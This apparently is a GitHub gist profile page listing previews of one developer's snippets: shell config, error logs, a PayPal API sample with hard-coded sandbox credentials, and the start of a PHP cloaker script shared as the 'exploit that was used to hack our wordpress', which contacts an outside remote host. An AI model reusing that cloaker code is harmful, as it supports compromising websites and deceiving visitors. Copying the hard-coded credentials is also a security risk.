Skip to content

Instantly share code, notes, and snippets.

View jrasanen's full-sized avatar
🦁

Jussi Räsänen jrasanen

🦁
  • Internet
View GitHub Profile
@jrasanen
jrasanen / bashrc.bash
Created August 18, 2011 20:18
My bashrc
# ~/.bashrc
#
# Author: incidence <incidence@iki.fi>
#
# This file requires git and sed.
# On osx you have to change root term from /bin/sh to /bin/bash
# you can do that by running: sudo chsh root
#
# OSX Lion fixes
#!/bin/bash
if [ -f /usr/local/bin/virtualenv ];
then
virtualenv --no-site-packages --distribute -- $1
elif [ -f /usr/bin/virtualenv ];
then
virtualenv --no-site-packages --distribute -- $1
else
echo "No virtualenv found. Please install setuptools & virtualenv. :("
@jrasanen
jrasanen / 0_reuse_code.js
Created July 16, 2014 15:07
Here are some things you can do with Gists in GistBox.
// Use Gists to store code you would like to remember later on
console.log(window); // log the "window" object to the console
/t/tmp1 ❯❯❯ npm install node-sass
> node-sass@2.0.1 install /tmp/node_modules/node-sass
> node scripts/install.js
Can not download file from https://raw.githubusercontent.com/sass/node-sass-binaries/v2.0.1/linux-x64-iojs-1.3/binding.node
> node-sass@2.0.1 postinstall /tmp/node_modules/node-sass
> node scripts/build.js
module.js:322
@jrasanen
jrasanen / check_is_bot.php
Last active August 20, 2020 20:08
Exploit that was used to hack our wordpress
<?php
$remote_cloaker = 'http://cl.digitaloceanpromocode.ru/inc/mods/cloaka/remote.php';
$key = '13481348';
error_reporting(0);
$is_bot = is_bot($remote_cloaker, $key);
function is_bot($remote_cloaker, $key)
{
if (!function_exists('getUserIP'))
{

Keybase proof

I hereby claim:

  • I am jrasanen on github.
  • I am jrasanen (https://keybase.io/jrasanen) on keybase.
  • I have a public key whose fingerprint is 69FB 8140 6E0A CBE8 BB63 EE3A E8C4 C928 2C9B 3D8E

To claim this, I am signing this object:

@jrasanen
jrasanen / TestPayment.py
Last active August 28, 2015 09:46 — forked from aydiv/TestPayment.py
Paypal Adaptive Payments - Python sample for parallel payment
import urllib
import urlparse
import collections
import httplib
def TestPayment():
#Set our headers
headers = {
'X-PAYPAL-SECURITY-USERID': 'jb-us-seller_api1.paypal.com',
'X-PAYPAL-SECURITY-PASSWORD': 'WX4WTU3S8MY44S7F',
$ wget https://storage.googleapis.com/golang/go1.5.1.linux-amd64.tar.gz
--2015-09-17 02:20:28-- https://storage.googleapis.com/golang/go1.5.1.linux-amd64.tar.gz
Resolving storage.googleapis.com (storage.googleapis.com)... 2a00:1450:4016:804::2010, 216.58.211.16
Connecting to storage.googleapis.com (storage.googleapis.com)|2a00:1450:4016:804::2010|:443... connected.
HTTP request sent, awaiting response... 403 Forbidden
2015-09-17 02:20:28 ERROR 403: Forbidden.
@jrasanen
jrasanen / Golang blocked
Created September 17, 2015 08:55
Debugging DigitalOcean frankfurt instance
# curl -i https://golang.org/
HTTP/1.1 403 Forbidden
Date: Thu, 17 Sep 2015 08:55:18 GMT
Content-Type: text/html
Server: Google Frontend
Content-Length: 2050
Alternate-Protocol: 443:quic,p=1
Alt-Svc: quic=":443"; p="1"; ma=604800
<!DOCTYPE html><html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 403 (Forbidden)!!1</title><style>*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px}* > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/errors/logo_sm_2.png) no-repeat}@media only screen and (min-resolution:192dpi){#logo{backgro
ConnectionManagerError: Cannot connect to db FININST, pip
fininst_occ_host 1:10.72.108.212:33465: socket. Gave up after 2
ConnectionManager tries. Backtrace: PPException::PPException(String
const&) ConnectionManagerError::ConnectionManagerError(String const&)
ConnectionManager::connect_pip(SmartPointer const&, OCCHost const&,
unsigned) ConnectionManager::get_connection(OCCHost const&, bool,
bool, bool) TransactionHandler::prepare_sql(char const*, OCCHost
const&, char const*, unsigned, bool) BaseDB::prepare_sql(char const*,
char const*, unsigned, bool) CachingBaseDB::prepare_sql(char const*,
BaseDBString::ASCIIString const&, bool)